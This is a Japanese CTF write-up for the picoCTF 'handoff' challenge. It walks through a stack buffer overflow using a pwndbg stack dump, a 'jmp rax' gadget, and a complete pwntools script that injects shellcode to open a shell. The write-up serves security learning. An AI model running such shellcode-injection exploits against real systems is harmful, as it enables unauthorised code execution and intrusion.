picoCTF – handoff

公開日

投稿者:

カテゴリー:

,

タグ:

picoCTF – handoff より。

gdb (pwndbg) を使ってスタックを可視化。

1 => (name) test1

2 => (msg) abcdefghijklmn

3 => (feedback) aaaaaaaabbbbbbbbccccccccddddddddeeeeeeeeffffffffgggggggghhhhhhhh

と入力するとスタックは以下のようになった。

pwndbg> stack -f
00:0000│ rsp         0x7fffffffd9a0 ◂— 0
01:0008│-2e8         0x7fffffffd9a8 ◂— 0xffffffff00000000
02:0010│-2e0         0x7fffffffd9b0 ◂— 0xa3174736574 /* 'test1\n' */
03:0018│-2d8         0x7fffffffd9b8 ◂— 'abcdefghijklmn\n'
04:0020│-2d0         0x7fffffffd9c0 ◂— 0xa6e6d6c6b6a69 /* 'ijklmn\n' */
05:0028│-2c8         0x7fffffffd9c8 ◂— 0
... ↓                71 skipped
4d:0268│-088         0x7fffffffdc08 —▸ 0x7ffff7f985c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
4e:0270│-080         0x7fffffffdc10 ◂— 0
4f:0278│-078         0x7fffffffdc18 —▸ 0x7ffff7e3ceaa (_IO_default_setbuf+58) ◂— cmp eax, -1
50:0280│-070         0x7fffffffdc20 ◂— 0
51:0288│-068         0x7fffffffdc28 —▸ 0x7ffff7f985c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
52:0290│-060         0x7fffffffdc30 —▸ 0x7ffff7f95fd0 (_IO_file_jumps) ◂— 0
53:0298│-058         0x7fffffffdc38 ◂— 0
54:02a0│-050         0x7fffffffdc40 —▸ 0x7ffff7dad740 ◂— 0x7ffff7dad740
55:02a8│-048         0x7fffffffdc48 —▸ 0x7ffff7e3a659 (_IO_file_setbuf+9) ◂— test rax, rax
56:02b0│-040         0x7fffffffdc50 —▸ 0x7ffff7f985c0 (_IO_2_1_stdout_) ◂— 0xfbad2887
57:02b8│-038         0x7fffffffdc58 —▸ 0x7ffff7e30e70 (setvbuf+288) ◂— cmp rax, 1
58:02c0│-030         0x7fffffffdc60 ◂— 0
... ↓                2 skipped
5b:02d8│-018         0x7fffffffdc78 —▸ 0x7fffffffddb8 —▸ 0x7fffffffe150 ◂— '/home/kali/WORK/ctf/picoctf/handoff/handoff'
5c:02e0│ rax-4 rcx-4 0x7fffffffdc80 ◂— 0x61616161ffffdca0
5d:02e8│-008         0x7fffffffdc88 ◂— 0x6262626200616161 /* 'aaa' */
5e:02f0│ rbp         0x7fffffffdc90 ◂— 'bbbbccccccccddddddd'
5f:02f8│+008         0x7fffffffdc98 ◂— 'ccccddddddd'

feedback の入力で main へのリターンアドレスまでは上書きできるが、全部で 31 bytes しか書き込めないことがわかる (ccccddddddd で終わってる)。

checksec で確認すると Stack Executable となっているので、スタック内変数に実行コードを書き込むことを考える。

まず msg は 64 bytes あるので攻撃コードはここに置けそう。

feedback では簡易な 10 bytes のコードを配置しつつ、main へのリターンアドレスを jmp RAX のあるアドレスに書き換える。これは、fgets 関数で feedback を書き込んだ直後なので RAX には feedback のアドレスが入っているため。

んで feedback の簡易な 10 bytes のコードとは、RSP を 0x2e8 で差し引き、jmp RSP を行うものである。RSP を 0x2e8 で差し引くと msg の先頭アドレスになるので、そこに配置した攻撃コードを呼び出す。

0x2e8 は上記の可視化したスタックから算出できる。

可視化したのは leave する前だが、RSP を差し引くのは leave + ret した後なので、そこで見える msg のアドレス (RBP – 0x2d8) から 0x10 をさらに差し引く。(leave により RSP は RBP より 0x8 上がり、RBP は vuls の冒頭に push した RBP の値に戻る。続く ret により RSP はさらに 0x8 上がる。)

jmp RAX の命令があるアドレスの確認

$ rp-lin -f handoff | grep "jmp rax"
0x40116c: jmp rax ; (1 found)
~~~

前準備

from pwn import *
elf = context.binary = ELF("handoff")
p = process(elf.path)
# p = remote("example.com", 56789)

攻撃コード作成

payload1 = asm(shellcraft.sh())

ヘルパーコード作成

10 bytes のコード作成 + 適当な 10 bytes + jmp RAX の命令があるアドレス

# context.arch = 'amd64'
payload2 = asm("nop;sub rsp, 0x2e0;jmp rsp") + b"a" * 10 + p64(0x40116C)

攻撃

p.sendlineafter(rb"3. Exit the app", b"1")
p.sendlineafter(rb"name:", b"abc")
p.sendlineafter(rb"3. Exit the app", b"2")
p.sendlineafter(rb"message to?", b"0")
p.sendlineafter(rb"send them?", payload1)
p.sendlineafter(rb"3. Exit the app", b"3")
p.sendlineafter(rb"appreciate it:", payload2)

p.interactive()